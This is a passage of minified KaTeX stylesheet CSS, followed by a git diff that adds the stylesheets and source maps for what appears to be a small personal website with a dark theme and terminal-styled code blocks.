format("woff2"),url(fonts/KaTeX_Size1-Regular.woff) format("woff"),url(fonts/KaTeX_Size1-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size2;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size2-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size2-Regular.woff) format("woff"),url(fonts/KaTeX_Size2-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size3;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size3-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size3-Regular.woff) format("woff"),url(fonts/KaTeX_Size3-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size4;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size4-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size4-Regular.woff) format("woff"),url(fonts/KaTeX_Size4-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Typewriter;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Typewriter-Regular.woff2) format("woff2"),url(fonts/KaTeX_Typewriter-Regular.woff) format("woff"),url(fonts/KaTeX_Typewriter-Regular.ttf) format("truetype")}.katex{text-rendering:auto;font:normal 1.21em KaTeX_Main,Times New Roman,serif;line-height:1.2;text-indent:0}.katex *{-ms-high-contrast-adjust:none!important;border-color:currentColor}.katex .katex-version:after{content:"0.13.19"}.katex .katex-mathml{clip:rect(1px,1px,1px,1px);border:0;height:1px;overflow:hidden;padding:0;position:absolute;width:1px}.katex .katex-html>.newline{display:block}.katex .base{position:relative;white-space:nowrap;width:-webkit-min-content;width:-moz-min-content;width:min-content}.katex .base,.katex .strut{display:inline-block}.katex .textbf{font-weight:700}.katex .textit{font-style:italic}.katex .textrm{font-family:KaTeX_Main}.katex .textsf{font-family:KaTeX_SansSerif}.katex .texttt{font-family:KaTeX_Typewriter}.katex .mathnormal{font-family:KaTeX_Math;font-style:italic}.katex .mathit{font-family:KaTeX_Main;font-style:italic}.katex .mathrm{font-style:normal}.katex .mathbf{font-family:KaTeX_Main;font-weight:700}.katex .boldsymbol{font-family:KaTeX_Math;font-style:italic;font-weight:700}.katex .amsrm,.katex .mathbb,.katex .textbb{font-family:KaTeX_AMS}.katex .mathcal{font-family:KaTeX_Caligraphic}.katex .mathfrak,.katex .textfrak{font-family:KaTeX_Fraktur}.katex .mathtt{font-family:KaTeX_Typewriter}.katex .mathscr,.katex .textscr{font-family:KaTeX_Script}.katex .mathsf,.katex .textsf{font-family:KaTeX_SansSerif}.katex .mathboldsf,.katex .textboldsf{font-family:KaTeX_SansSerif;font-weight:700}.katex .mathitsf,.katex .textitsf{font-family:KaTeX_SansSerif;font-style:italic}.katex .mainrm{font-family:KaTeX_Main;font-style:normal}.katex .vlist-t{border-collapse:collapse;display:inline-table;table-layout:fixed}.katex .vlist-r{display:table-row}.katex .vlist{display:table-cell;position:relative;vertical-align:bottom}.katex .vlist>span{display:block;height:0;position:relative}.katex .vlist>span>span{display:inline-block}.katex .vlist>span>.pstrut{overflow:hidden;width:0}.katex .vlist-t2{margin-right:-2px}.katex .vlist-s{display:table-cell;font-size:1px;min-width:2px;vertical-align:bottom;width:2px}.katex .vbox{align-items:baseline;display:inline-flex;flex-direction:column}.katex .hbox{width:100%}.katex .hbox,.katex .thinbox{display:inline-flex;flex-direction:row}.katex .thinbox{max-width:0;width:0}.katex .msupsub{text-align:left}.katex .mfrac>span>span{text-align:center}.katex .mfrac .frac-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline,.katex .hline,.katex .mfrac .frac-line,.katex .overline .overline-line,.katex .rule,.katex .underline .underline-line{min-height:1px}.katex .mspace{display:inline-block}.katex .clap,.katex .llap,.katex .rlap{position:relative;width:0}.katex .clap>.inner,.katex .llap>.inner,.katex .rlap>.inner{position:absolute}.katex .clap>.fix,.katex .llap>.fix,.katex .rlap>.fix{display:inline-block}.katex .llap>.inner{right:0}.katex .clap>.inner,.katex .rlap>.inner{left:0}.katex .clap>.inner>span{margin-left:-50%;margin-right:50%}.katex .rule{border:0 solid;display:inline-block;position:relative}.katex .hline,.katex .overline .overline-line,.katex .underline .underline-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline{border-bottom-style:dashed;display:inline-block;width:100%}.katex .sqrt>.root{margin-left:.27777778em;margin-right:-.55555556em}.katex .fontsize-ensurer.reset-size1.size1,.katex .sizing.reset-size1.size1{font-size:1em}.katex .fontsize-ensurer.reset-size1.size2,.katex .sizing.reset-size1.size2{font-size:1.2em}.katex .fontsize-ensurer.reset-size1.size3,.katex .sizing.reset-size1.size3{font-size:1.4em}.katex .fontsize-ensurer.reset-size1.size4,.katex .sizing.reset-size1.size4{font-size:1.6em}.katex .fontsize-ensurer.reset-size1.size5,.katex .sizing.reset-size1.size5{font-size:1.8em}.katex .fontsize-ensurer.reset-size1.size6,.katex .sizing.reset-size1.size6{font-size:2em}.katex .fontsize-ensurer.reset-size1.size7,.katex .sizing.reset-size1.size7{font-size:2.4em}.katex .fontsize-ensurer.reset-size1.size8,.katex .sizing.reset-size1.size8{font-size:2.88em}.katex .fontsize-ensurer.reset-size1.size9,.katex .sizing.reset-size1.size9{font-size:3.456em}.katex .fontsize-ensurer.reset-size1.size10,.katex .sizing.reset-size1.size10{font-size:4.148em}.katex .fontsize-ensurer.reset-size1.size11,.katex .sizing.reset-size1.size11{font-size:4.976em}.katex .fontsize-ensurer.reset-size2.size1,.katex .sizing.reset-size2.size1{font-size:.83333333em}.katex .fontsize-ensurer.reset-size2.size2,.katex .sizing.reset-size2.size2{font-size:1em}.katex .fontsize-ensurer.reset-size2.size3,.katex .sizing.reset-size2.size3{font-size:1.16666667em}.katex .fontsize-ensurer.reset-size2.size4,.katex .sizing.reset-size2.size4{font-size:1.33333333em}.katex .fontsize-ensurer.reset-size2.size5,.katex .sizing.reset-size2.size5{font-size:1.5em}.katex .fontsize-ensurer.reset-size2.size6,.katex .sizing.reset-size2.size6{font-size:1.66666667em}.katex .fontsize-ensurer.reset-size2.size7,.katex .sizing.reset-size2.size7{font-size:2em}.katex .fontsize-ensurer.reset-size2.size8,.katex .sizing.reset-size2.size8{font-size:2.4em}.katex .fontsize-ensurer.reset-size2.size9,.katex .sizing.reset-size2.size9{font-size:2.88em}.katex .fontsize-ensurer.reset-size2.size10,.katex .sizing.reset-size2.size10{font-size:3.45666667em}.katex .fontsize-ensurer.reset-size2.size11,.katex .sizing.reset-size2.size11{font-size:4.14666667em}.katex .fontsize-ensurer.reset-size3.size1,.katex .sizing.reset-size3.size1{font-size:.71428571em}.katex .fontsize-ensurer.reset-size3.size2,.katex .sizing.reset-size3.size2{font-size:.85714286em}.katex .fontsize-ensurer.reset-size3.size3,.katex .sizing.reset-size3.size3{font-size:1em}.katex .fontsize-ensurer.reset-size3.size4,.katex .sizing.reset-size3.size4{font-size:1.14285714em}.katex .fontsize-ensurer.reset-size3.size5,.katex .sizing.reset-size3.size5{font-size:1.28571429em}.katex .fontsize-ensurer.reset-size3.size6,.katex .sizing.reset-size3.size6{font-size:1.42857143em}.katex .fontsize-ensurer.reset-size3.size7,.katex .sizing.reset-size3.size7{font-size:1.71428571em}.katex .fontsize-ensurer.reset-size3.size8,.katex .sizing.reset-size3.size8{font-size:2.05714286em}.katex .fontsize-ensurer.reset-size3.size9,.katex .sizing.reset-size3.size9{font-size:2.46857143em}.katex .fontsize-ensurer.reset-size3.size10,.katex .sizing.reset-size3.size10{font-size:2.96285714em}.katex .fontsize-ensurer.reset-size3.size11,.katex .sizing.reset-size3.size11{font-size:3.55428571em}.katex .fontsize-ensurer.reset-size4.size1,.katex .sizing.reset-size4.size1{font-size:.625em}.katex .fontsize-ensurer.reset-size4.size2,.katex .sizing.reset-size4.size2{font-size:.75em}.katex .fontsize-ensurer.reset-size4.size3,.katex .sizing.reset-size4.size3{font-size:.875em}.katex .fontsize-ensurer.reset-size4.size4,.katex .sizing.reset-size4.size4{font-size:1em}.katex .fontsize-ensurer.reset-size4.size5,.katex .sizing.reset-size4.size5{font-size:1.125em}.katex .fontsize-ensurer.reset-size4.size6,.katex .sizing.reset-size4.size6{font-size:1.25em}.katex .fontsize-ensurer.reset-size4.size7,.katex .sizing.reset-size4.size7{font-size:1.5em}.katex .fontsize-ensurer.reset-size4.size8,.katex .sizing.reset-size4.size8{font-size:1.8em}.katex .fontsize-ensurer.reset-size4.size9,.katex .sizing.reset-size4.size9{font-size:2.16em}.katex .fontsize-ensurer.reset-size4.size10,.katex .sizing.reset-size4.size10{font-size:2.5925em}.katex .fontsize-ensurer.reset-size4.size11,.katex .sizing.reset-size4.size11{font-size:3.11em}.katex .fontsize-ensurer.reset-size5.size1,.katex .sizing.reset-size5.size1{font-size:.55555556em}.katex .fontsize-ensurer.reset-size5.size2,.katex .sizing.reset-size5.size2{font-size:.66666667em}.katex .fontsize-ensurer.reset-size5.size3,.katex .sizing.reset-size5.size3{font-size:.77777778em}.katex .fontsize-ensurer.reset-size5.size4,.katex .sizing.reset-size5.size4{font-size:.88888889em}.katex .fontsize-ensurer.reset-size5.size5,.katex .sizing.reset-size5.size5{font-size:1em}.katex .fontsize-ensurer.reset-size5.size6,.katex .sizing.reset-size5.size6{font-size:1.11111111em}.katex .fontsize-ensurer.reset-size5.size7,.katex .sizing.reset-size5.size7{font-size:1.33333333em}.katex .fontsize-ensurer.reset-size5.size8,.katex .sizing.reset-size5.size8{font-size:1.6em}.katex .fontsize-ensurer.reset-size5.size9,.katex .sizing.reset-size5.size9{font-size:1.92em}.katex .fontsize-ensurer.reset-size5.size10,.katex .sizing.reset-size5.size10{font-size:2.30444444em}.katex .fontsize-ensurer.reset-size5.size11,.katex .sizing.reset-size5.size11{font-size:2.76444444em}.katex .fontsize-ensurer.reset-size6.size1,.katex .sizing.reset-size6.size1{font-size:.5em}.katex .fontsize-ensurer.reset-size6.size2,.katex .sizing.reset-size6.size2{font-size:.6em}.katex .fontsize-ensurer.reset-size6.size3,.katex .sizing.reset-size6.size3{font-size:.7em}.katex .fontsize-ensurer.reset-size6.size4,.katex .sizing.reset-size6.size4{font-size:.8em}.katex .fontsize-ensurer.reset-size6.size5,.katex .sizing.reset-size6.size5{font-size:.9em}.katex .fontsize-ensurer.reset-size6.size6,.katex .sizing.reset-size6.size6{font-size:1em}.katex .fontsize-ensurer.reset-size6.size7,.katex .sizing.reset-size6.size7{font-size:1.2em}.katex .fontsize-ensurer.reset-size6.size8,.katex .sizing.reset-size6.size8{font-size:1.44em}.katex .fontsize-ensurer.reset-size6.size9,.katex .sizing.reset-size6.size9{font-size:1.728em}.katex .fontsize-ensurer.reset-size6.size10,.katex .sizing.reset-size6.size10{font-size:2.074em}.katex .fontsize-ensurer.reset-size6.size11,.katex .sizing.reset-size6.size11{font-size:2.488em}.katex .fontsize-ensurer.reset-size7.size1,.katex .sizing.reset-size7.size1{font-size:.41666667em}.katex .fontsize-ensurer.reset-size7.size2,.katex .sizing.reset-size7.size2{font-size:.5em}.katex .fontsize-ensurer.reset-size7.size3,.katex .sizing.reset-size7.size3{font-size:.58333333em}.katex .fontsize-ensurer.reset-size7.size4,.katex .sizing.reset-size7.size4{font-size:.66666667em}.katex .fontsize-ensurer.reset-size7.size5,.katex .sizing.reset-size7.size5{font-size:.75em}.katex .fontsize-ensurer.reset-size7.size6,.katex .sizing.reset-size7.size6{font-size:.83333333em}.katex .fontsize-ensurer.reset-size7.size7,.katex .sizing.reset-size7.size7{font-size:1em}.katex .fontsize-ensurer.reset-size7.size8,.katex .sizing.reset-size7.size8{font-size:1.2em}.katex .fontsize-ensurer.reset-size7.size9,.katex .sizing.reset-size7.size9{font-size:1.44em}.katex .fontsize-ensurer.reset-size7.size10,.katex .sizing.reset-size7.size10{font-size:1.72833333em}.katex .fontsize-ensurer.reset-size7.size11,.katex .sizing.reset-size7.size11{font-size:2.07333333em}.katex .fontsize-ensurer.reset-size8.size1,.katex .sizing.reset-size8.size1{font-size:.34722222em}.katex .fontsize-ensurer.reset-size8.size2,.katex .sizing.reset-size8.size2{font-size:.41666667em}.katex .fontsize-ensurer.reset-size8.size3,.katex .sizing.reset-size8.size3{font-size:.48611111em}.katex .fontsize-ensurer.reset-size8.size4,.katex .sizing.reset-size8.size4{font-size:.55555556em}.katex .fontsize-ensurer.reset-size8.size5,.katex .sizing.reset-size8.size5{font-size:.625em}.katex .fontsize-ensurer.reset-size8.size6,.katex .sizing.reset-size8.size6{font-size:.69444444em}.katex .fontsize-ensurer.reset-size8.size7,.katex .sizing.reset-size8.size7{font-size:.83333333em}.katex .fontsize-ensurer.reset-size8.size8,.katex .sizing.reset-size8.size8{font-size:1em}.katex .fontsize-ensurer.reset-size8.size9,.katex .sizing.reset-size8.size9{font-size:1.2em}.katex .fontsize-ensurer.reset-size8.size10,.katex .sizing.reset-size8.size10{font-size:1.44027778em}.katex .fontsize-ensurer.reset-size8.size11,.katex .sizing.reset-size8.size11{font-size:1.72777778em}.katex .fontsize-ensurer.reset-size9.size1,.katex .sizing.reset-size9.size1{font-size:.28935185em}.katex .fontsize-ensurer.reset-size9.size2,.katex .sizing.reset-size9.size2{font-size:.34722222em}.katex .fontsize-ensurer.reset-size9.size3,.katex .sizing.reset-size9.size3{font-size:.40509259em}.katex .fontsize-ensurer.reset-size9.size4,.katex .sizing.reset-size9.size4{font-size:.46296296em}.katex .fontsize-ensurer.reset-size9.size5,.katex .sizing.reset-size9.size5{font-size:.52083333em}.katex .fontsize-ensurer.reset-size9.size6,.katex .sizing.reset-size9.size6{font-size:.5787037em}.katex .fontsize-ensurer.reset-size9.size7,.katex .sizing.reset-size9.size7{font-size:.69444444em}.katex .fontsize-ensurer.reset-size9.size8,.katex .sizing.reset-size9.size8{font-size:.83333333em}.katex .fontsize-ensurer.reset-size9.size9,.katex .sizing.reset-size9.size9{font-size:1em}.katex .fontsize-ensurer.reset-size9.size10,.katex .sizing.reset-size9.size10{font-size:1.20023148em}.katex .fontsize-ensurer.reset-size9.size11,.katex .sizing.reset-size9.size11{font-size:1.43981481em}.katex .fontsize-ensurer.reset-size10.size1,.katex .sizing.reset-size10.size1{font-size:.24108004em}.katex .fontsize-ensurer.reset-size10.size2,.katex .sizing.reset-size10.size2{font-size:.28929605em}.katex .fontsize-ensurer.reset-size10.size3,.katex .sizing.reset-size10.size3{font-size:.33751205em}.katex .fontsize-ensurer.reset-size10.size4,.katex .sizing.reset-size10.size4{font-size:.38572806em}.katex .fontsize-ensurer.reset-size10.size5,.katex .sizing.reset-size10.size5{font-size:.43394407em}.katex .fontsize-ensurer.reset-size10.size6,.katex .sizing.reset-size10.size6{font-size:.48216008em}.katex .fontsize-ensurer.reset-size10.size7,.katex .sizing.reset-size10.size7{font-size:.57859209em}.katex .fontsize-ensurer.reset-size10.size8,.katex .sizing.reset-size10.size8{font-size:.69431051em}.katex .fontsize-ensurer.reset-size10.size9,.katex .sizing.reset-size10.size9{font-size:.83317261em}.katex .fontsize-ensurer.reset-size10.size10,.katex .sizing.reset-size10.size10{font-size:1em}.katex .fontsize-ensurer.reset-size10.size11,.katex .sizing.reset-size10.size11{font-size:1.19961427em}.katex .fontsize-ensurer.reset-size11.size1,.katex .sizing.reset-size11.size1{font-size:.20096463em}.katex .fontsize-ensurer.reset-size11.size2,.katex .sizing.reset-size11.size2{font-size:.24115756em}.katex .fontsize-ensurer.reset-size11.size3,.katex .sizing.reset-size11.size3{font-size:.28135048em}.katex .fontsize-ensurer.reset-size11.size4,.katex .sizing.reset-size11.size4{font-size:.32154341em}.katex .fontsize-ensurer.reset-size11.size5,.katex .sizing.reset-size11.size5{font-size:.36173633em}.katex .fontsize-ensurer.reset-size11.size6,.katex .sizing.reset-size11.size6{font-size:.40192926em}.katex .fontsize-ensurer.reset-size11.size7,.katex .sizing.reset-size11.size7{font-size:.48231511em}.katex .fontsize-ensurer.reset-size11.size8,.katex .sizing.reset-size11.size8{font-size:.57877814em}.katex .fontsize-ensurer.reset-size11.size9,.katex .sizing.reset-size11.size9{font-size:.69453376em}.katex .fontsize-ensurer.reset-size11.size10,.katex .sizing.reset-size11.size10{font-size:.83360129em}.katex .fontsize-ensurer.reset-size11.size11,.katex .sizing.reset-size11.size11{font-size:1em}.katex .delimsizing.size1{font-family:KaTeX_Size1}.katex .delimsizing.size2{font-family:KaTeX_Size2}.katex .delimsizing.size3{font-family:KaTeX_Size3}.katex .delimsizing.size4{font-family:KaTeX_Size4}.katex .delimsizing.mult .delim-size1>span{font-family:KaTeX_Size1}.katex .delimsizing.mult .delim-size4>span{font-family:KaTeX_Size4}.katex .nulldelimiter{display:inline-block;width:.12em}.katex .delimcenter,.katex .op-symbol{position:relative}.katex .op-symbol.small-op{font-family:KaTeX_Size1}.katex .op-symbol.large-op{font-family:KaTeX_Size2}.katex .accent>.vlist-t,.katex .op-limits>.vlist-t{text-align:center}.katex .accent .accent-body{position:relative}.katex .accent .accent-body:not(.accent-full){width:0}.katex .overlay{display:block}.katex .mtable .vertical-separator{display:inline-block;min-width:1px}.katex .mtable .arraycolsep{display:inline-block}.katex .mtable .col-align-c>.vlist-t{text-align:center}.katex .mtable .col-align-l>.vlist-t{text-align:left}.katex .mtable .col-align-r>.vlist-t{text-align:right}.katex .svg-align{text-align:left}.katex svg{fill:currentColor;stroke:currentColor;fill-rule:nonzero;fill-opacity:1;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:block;height:inherit;position:absolute;width:100%}.katex svg path{stroke:none}.katex img{border-style:none;max-height:none;max-width:none;min-height:0;min-width:0}.katex .stretchy{display:block;overflow:hidden;position:relative;width:100%}.katex .stretchy:after,.katex .stretchy:before{content:""}.katex .hide-tail{overflow:hidden;position:relative;width:100%}.katex .halfarrow-left{left:0;overflow:hidden;position:absolute;width:50.2%}.katex .halfarrow-right{overflow:hidden;position:absolute;right:0;width:50.2%}.katex .brace-left{left:0;overflow:hidden;position:absolute;width:25.1%}.katex .brace-center{left:25%;overflow:hidden;position:absolute;width:50%}.katex .brace-right{overflow:hidden;position:absolute;right:0;width:25.1%}.katex .x-arrow-pad{padding:0 .5em}.katex .cd-arrow-pad{padding:0 .55556em 0 .27778em}.katex .mover,.katex .munder,.katex .x-arrow{text-align:center}.katex .boxpad{padding:0 .3em}.katex .fbox,.katex .fcolorbox{border:.04em solid;box-sizing:border-box}.katex .cancel-pad{padding:0 .2em}.katex .cancel-lap{margin-left:-.2em;margin-right:-.2em}.katex .sout{border-bottom-style:solid;border-bottom-width:.08em}.katex .angl{border-right:.049em solid;border-top:.049em solid;box-sizing:border-box;margin-right:.03889em}.katex .anglpad{padding:0 .03889em}.katex .eqn-num:before{content:"(" counter(katexEqnNo) ")";counter-increment:katexEqnNo}.katex .mml-eqn-num:before{content:"(" counter(mmlEqnNo) ")";counter-increment:mmlEqnNo}.katex .mtr-glue{width:50%}.katex .cd-vert-arrow{display:inline-block;position:relative}.katex .cd-label-left{display:inline-block;position:absolute;right:calc(50% + .3em);text-align:left}.katex .cd-label-right{display:inline-block;left:calc(50% + .3em);position:absolute;text-align:right}.katex-display{display:block;margin:1em 0;text-align:center}.katex-display>.katex{display:block;text-align:center;white-space:nowrap}.katex-display>.katex>.katex-html{display:block;position:relative}.katex-display>.katex>.katex-html>.tag{position:absolute;right:0}.katex-display.leqno>.katex>.katex-html>.tag{left:0;right:auto}.katex-display.fleqn>.katex{padding-left:2em;text-align:left}body{counter-reset:katexEqnNo mmlEqnNo} diff --git a/assets/css/markdown.css b/assets/css/markdown.css new file mode 100644 index 0000000..4393059 --- /dev/null +++ b/assets/css/markdown.css @@ -0,0 +1,3 @@ +textarea { width: 100%; height: 300px; overflow-y: scroll; } + +/*# sourceMappingURL=markdown.css.map */ \ No newline at end of file diff --git a/assets/css/markdown.css.map b/assets/css/markdown.css.map new file mode 100644 index 0000000..df55b0e --- /dev/null +++ b/assets/css/markdown.css.map @@ -0,0 +1,16 @@ +{ + "version": 3, + "file": "markdown.css", + "sources": [ + "markdown.scss", + "_sass/markdown.scss", + "_sass/vars.scss" + ], + "sourcesContent": [ + "@import \"markdown\";\n", + "@import \"vars\";\n\ntextarea {\n width: 100%;\n height: 300px;\n overflow-y: scroll;\n}\n\n", + "$normal-text-color: #ffffff;\n$background-color: #222222;\n$lighter-color: #ffffff;\n$nav-link-color: #ffffff;\n$nav-link-hover-color: black;\n$link-color: #7ad;\n$visited-link-color: #ff3492;\n$last-p-padd: 1.5em;\n$nav-padd: 1em;\n$line-under: 1px solid #aaa; \n$line-height: 1.5em;\n$term-line-height: 1em;\n$file-line-height: 1.2em;\n$terminal-bg: #000000;\n$terminal-fg: #00FF00;\n$file-bg: #444444;\n$file-fg: #ffffff;\n" + ], + "names": [], + "mappings": "ACEA,AAAA,QAAQ,CAAC,EACP,KAAK,EAAE,IAAI,EACX,MAAM,EAAE,KAAK,EACb,UAAU,EAAE,MAAM,GACnB" +} \ No newline at end of file diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100644 index 0000000..75c1db5 --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,75 @@ +body { background-color: #222222; padding: 16px; font-family: -apple-system, helvetica, arial, sans-serif; font-size: 16px; color: #ffffff; line-height: 1.5em; overflow-wrap: break-word; } + +#wrapper { max-width: 800px; margin: auto; } + +#wrapper > header { text-align: center; } + +.clear-list { list-style-type: none; margin: 0; padding: 0; } + +.clear-list li { margin: 0; padding: 0; } + +.projects .namelink { font-weight: bold; } + +h1, h2, h3, h4, h5, h6 { line-height: 1em; } + +.center { text-align: center; } + +header { margin-bottom: 18px; } + +hr { border: none; border-bottom: 1px solid #999; } + +a { text-decoration: underline; color: #7ad; } + +a:visited { color: #ff3492; } + +a.nav-link, a.post-title-link { color: #ffffff; text-decoration: none; } + +.post-title { line-height: 1.5em; color: #ffffff; margin-bottom: 8px; } + +a.citation-link { text-decoration: none; } + +nav { text-align: center; padding: 1em 0px; } + +nav a { margin: 1em; color: #ffffff; font-weight: bold; font-style: none; } + +nav a:hover, a.post-title-link:hover { text-decoration: underline; } + +li { margin: .5em; } + +table, table tr, table td, table th { border: 1px solid #aaa; border-collapse: collapse; padding: 5px; font-weight: normal; } + +table th { font-weight: bold; } + +table { width: 75%; margin: auto; } + +img { display: block; width: 55%; margin-left: auto; margin-right: auto; } + +blockquote { font-style: italic; } + +address { font-style: normal; } + +@media screen and (max-width: 600px) { body { width: 90%; } nav { text-align: left; width: 100%; } nav a { display: block; text-align: left; padding-left: 0; margin-left: 0; } } + +.mono { font-family: monospace; } + +.bold { font-weight: bold; } + +figcaption { margin-top: 10px; font-style: italic; } + +footer { padding-top: 16px; margin-bottom: 100px; } + +.terminal, .file { padding: 10px; overflow-x: scroll; } + +.terminal { line-height: 1em; color: #00FF00; background-color: #000000; } + +.file { line-height: 1.2em; background-color: #444444; color: #ffffff; } + +.small-image { width: 100%; } + +.post-date { text-transform: uppercase; font-weight: bold; color: #ffffff; } + +.post-excerpt { margin-left: 24px; } + +.post-header { margin-bottom: 8px; } + +/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/assets/css/style.css.map b/assets/css/style.css.map new file mode 100644 index 0000000..d5e02e0 --- /dev/null +++ b/assets/css/style.css.map @@ -0,0 +1,16 @@ +{ + "version": 3, + "file": "style.css", + "sources": [ + "style.scss", + "_sass/main.scss", + "_sass/vars.scss" + ], + "sourcesContent": [ + "@import \"main\";\n", + "@import \"vars\";\n\nbody {\n background-color: $background-color;\n padding: 16px;\n font-family: -apple-system, helvetica, arial, sans-serif;\n font-size: 16px;\n color: $normal-text-color;\n line-height: $line-height;\n overflow-wrap: break-word;\n}\n\n#wrapper {\n max-width: 800px;\n margin: auto;\n > header {\n text-align: center;\n }\n}\n\n.clear-list {\n list-style-type: none;\n margin: 0;\n padding: 0;\n}\n\n.clear-list li {\n margin: 0;\n padding: 0;\n}\n\n.projects .namelink {\n font-weight: bold;\n}\n\nh1, h2, h3, h4, h5, h6 {\n line-height: 1em;\n}\n\n.center {\n text-align: center;\n}\n\nheader {\n margin-bottom: 18px;\n}\n\nhr {\n border: none;\n border-bottom: 1px solid #999;\n}\n\na {\n text-decoration: underline;\n color: $link-color;\n} \n\na:visited {\n color: $visited-link-color;\n}\n\na.nav-link,\na.post-title-link {\n color: $nav-link-color;\n text-decoration: none;\n}\n\n.post-title {\n line-height: $line-height;\n color: $nav-link-color;\n margin-bottom: 8px;\n}\n\na.citation-link {\n text-decoration: none;\n}\n\nnav {\n text-align: center;\n padding: $nav-padd 0px;\n}\n\nnav a {\n margin: 1em;\n color: $nav-link-color;\n font-weight: bold;\n font-style: none;\n}\n\nnav a:hover,\na.post-title-link:hover {\n text-decoration: underline; \n}\n\nli {\n margin: .5em;\n}\n\ntable,\ntable tr,\ntable td,\ntable th {\n border: 1px solid #aaa;\n border-collapse: collapse;\n padding: 5px;\n font-weight: normal;\n}\ntable th {\n font-weight: bold;\n}\ntable {\n width: 75%;\n margin: auto;\n}\n\nimg {\n display: block;\n width: 55%;\n margin-left: auto;\n margin-right: auto;\n}\n\nblockquote {\n font-style: italic;\n}\n\naddress { \n font-style: normal;\n}\n\n@media screen and (max-width: 600px){\n body {\n width: 90%;\n }\n nav {\n text-align: left;\n width: 100%;\n }\n nav a {\n display: block;\n text-align: left;\n padding-left: 0;\n margin-left: 0;\n }\n}\n\n.mono {\n font-family: monospace;\n}\n\n.bold {\n font-weight: bold;\n}\n\nfigcaption {\n margin-top: 10px;\n font-style: italic;\n}\n\nfooter {\n padding-top: 16px;\n margin-bottom: 100px;\n}\n\n.terminal,\n.file {\n padding: 10px;\n overflow-x: scroll;\n}\n\n.terminal {\n line-height: $term-line-height;\n color: $terminal-fg;\n background-color: $terminal-bg;\n}\n\n.file {\n line-height: $file-line-height;\n background-color: $file-bg;\n color: $file-fg;\n}\n\n.small-image {\n width: 100%;\n}\n\n.post-date {\n text-transform: uppercase;\n font-weight: bold;\n color: $lighter-color;\n}\n\n.post-excerpt {\n margin-left: 24px;\n}\n\n.post-header {\n margin-bottom: 8px;\n}\n", + "$normal-text-color: #ffffff;\n$background-color: #222222;\n$lighter-color: #ffffff;\n$nav-link-color: #ffffff;\n$nav-link-hover-color: black;\n$link-color: #7ad;\n$visited-link-color: #ff3492;\n$last-p-padd: 1.5em;\n$nav-padd: 1em;\n$line-under: 1px solid #aaa; \n$line-height: 1.5em;\n$term-line-height: 1em;\n$file-line-height: 1.2em;\n$terminal-bg: #000000;\n$terminal-fg: #00FF00;\n$file-bg: #444444;\n$file-fg: #ffffff;\n" + ], + "names": [], + "mappings": "ACEA,AAAA,IAAI,CAAC,EACH,gBAAgB,ECFC,OAAO,EDGxB,OAAO,EAAE,IAAI,EACb,WAAW,EAAE,2CAA2C,EACxD,SAAS,EAAE,IAAI,EACf,KAAK,ECPa,OAAO,EDQzB,WAAW,ECEC,KAAK,EDDjB,aAAa,EAAE,UAAU,GAC1B;;AAED,AAAA,QAAQ,CAAC,EACP,SAAS,EAAE,KAAK,EAChB,MAAM,EAAE,IAAI,GAIb;;AAND,AAGE,QAHM,GAGJ,MAAM,CAAC,EACP,UAAU,EAAE,MAAM,GACnB;;AAGH,AAAA,WAAW,CAAC,EACV,eAAe,EAAE,IAAI,EACrB,MAAM,EAAE,CAAC,EACT,OAAO,EAAE,CAAC,GACX;;AAED,AAAA,WAAW,CAAC,EAAE,CAAC,EACb,MAAM,EAAE,CAAC,EACT,OAAO,EAAE,CAAC,GACX;;AAED,AAAA,SAAS,CAAC,SAAS,CAAC,EAClB,WAAW,EAAE,IAAI,GAClB;;AAED,AAAA,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EACrB,WAAW,EAAE,GAAG,GACjB;;AAED,AAAA,OAAO,CAAC,EACN,UAAU,EAAE,MAAM,GACnB;;AAED,AAAA,MAAM,CAAC,EACL,aAAa,EAAE,IAAI,GACpB;;AAED,AAAA,EAAE,CAAC,EACD,MAAM,EAAE,IAAI,EACZ,aAAa,EAAE,cAAc,GAC9B;;AAED,AAAA,CAAC,CAAC,EACA,eAAe,EAAE,SAAS,EAC1B,KAAK,ECjDM,IAAI,GDkDhB;;AAED,AAAA,CAAC,CAAC,OAAO,CAAC,EACR,KAAK,ECpDc,OAAO,GDqD3B;;AAED,AAAA,CAAC,AAAA,SAAS,EACV,CAAC,AAAA,gBAAgB,CAAC,EAChB,KAAK,EC5DU,OAAO,ED6DtB,eAAe,EAAE,IAAI,GACtB;;AAED,AAAA,WAAW,CAAC,EACV,WAAW,EC1DC,KAAK,ED2DjB,KAAK,EClEU,OAAO,EDmEtB,aAAa,EAAE,GAAG,GACnB;;AAED,AAAA,CAAC,AAAA,cAAc,CAAC,EACd,eAAe,EAAE,IAAI,GACtB;;AAED,AAAA,GAAG,CAAC,EACF,UAAU,EAAE,MAAM,EAClB,OAAO,ECvEE,GAAG,CDuEO,GAAG,GACvB;;AAED,AAAA,GAAG,CAAC,CAAC,CAAC,EACJ,MAAM,EAAE,GAAG,EACX,KAAK,ECjFU,OAAO,EDkFtB,WAAW,EAAE,IAAI,EACjB,UAAU,EAAE,IAAI,GACjB;;AAED,AAAA,GAAG,CAAC,CAAC,CAAC,KAAK,EACX,CAAC,AAAA,gBAAgB,CAAC,KAAK,CAAC,EACtB,eAAe,EAAE,SAAS,GAC3B;;AAED,AAAA,EAAE,CAAC,EACD,MAAM,EAAE,IAAI,GACb;;AAED,AAAA,KAAK,EACL,KAAK,CAAC,EAAE,EACR,KAAK,CAAC,EAAE,EACR,KAAK,CAAC,EAAE,CAAC,EACP,MAAM,EAAE,cAAc,EACtB,eAAe,EAAE,QAAQ,EACzB,OAAO,EAAE,GAA